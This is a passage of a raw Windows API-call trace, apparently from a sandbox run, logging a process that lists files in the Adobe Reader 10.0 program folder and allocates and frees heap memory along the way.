ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x91590, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXSLE.dll", cAlternateFileName="")) returned 1 [0081.174] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8051bd00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1af88, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIB.dll", cAlternateFileName="")) returned 1 [0081.174] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x25b98, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIBUtils.dll", cAlternateFileName="")) returned 1 [0081.174] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d95e8c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Browser", cAlternateFileName="")) returned 1 [0081.174] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b5b0 [0081.174] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d95e8c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.175] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0081.175] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0081.175] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1258e10 [0081.175] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1258e10, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1258e10, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0081.175] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1258e10) returned 1 [0081.175] NtClose (Handle=0x174) returned 0x0 [0081.176] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b5b0) returned 1 [0081.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b5b0 [0081.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.176] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0081.180] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d95e8c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.180] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.CAT", cAlternateFileName="")) returned 1 [0081.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.180] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.180] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.181] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12012b8 [0081.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125f780 [0081.181] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.181] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.CHS", cAlternateFileName="")) returned 1 [0081.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.182] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.182] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.182] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.182] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.182] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12012d8 [0081.182] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125f888 [0081.182] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.182] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8a01e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.CHT", cAlternateFileName="")) returned 1 [0081.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.183] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.183] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12012f8 [0081.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125f990 [0081.184] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.184] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d938760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.CZE", cAlternateFileName="")) returned 1 [0081.184] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.184] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.184] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.184] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.184] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.185] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201318 [0081.185] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125fa98 [0081.185] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.185] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.DAN", cAlternateFileName="")) returned 1 [0081.185] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.185] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.185] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.186] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.186] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.186] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201338 [0081.186] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125fba0 [0081.186] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.186] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8a01e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.DEU", cAlternateFileName="")) returned 1 [0081.186] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.187] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.187] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.187] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.187] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.187] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201358 [0081.187] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125fca8 [0081.188] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.188] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8a01e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x21190, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.dll", cAlternateFileName="")) returned 1 [0081.188] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.188] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.188] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.188] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.188] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.189] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.189] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.ESP", cAlternateFileName="")) returned 1 [0081.189] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.189] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.189] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.189] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.189] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201378 [0081.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125fdb0 [0081.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x6680) returned 0x126d560 [0081.190] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0081.190] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.190] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.EUQ", cAlternateFileName="")) returned 1 [0081.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.191] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.191] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201398 [0081.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125feb8 [0081.192] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.192] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8a01e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.FRA", cAlternateFileName="")) returned 1 [0081.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.192] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.192] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12013b8 [0081.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ffc0 [0081.193] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.193] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d938760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.HRV", cAlternateFileName="")) returned 1 [0081.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.193] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.194] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.194] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.194] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12013d8 [0081.194] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12600c8 [0081.194] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.194] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d938760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.HUN", cAlternateFileName="")) returned 1 [0081.194] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.195] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.195] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12013f8 [0081.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12601d0 [0081.195] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.195] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8a01e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.ITA", cAlternateFileName="")) returned 1 [0081.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.196] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.196] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201418 [0081.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12602d8 [0081.197] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.197] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8a01e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.JPN", cAlternateFileName="")) returned 1 [0081.197] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.197] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.197] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.197] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.197] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.198] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201438 [0081.198] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12603e0 [0081.198] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.198] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.KOR", cAlternateFileName="")) returned 1 [0081.198] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.198] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.198] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.199] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.199] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.199] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201458 [0081.199] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12604e8 [0081.199] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.199] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.NLD", cAlternateFileName="")) returned 1 [0081.199] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.200] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.200] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201478 [0081.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12605f0 [0081.201] RtlFreeHeap 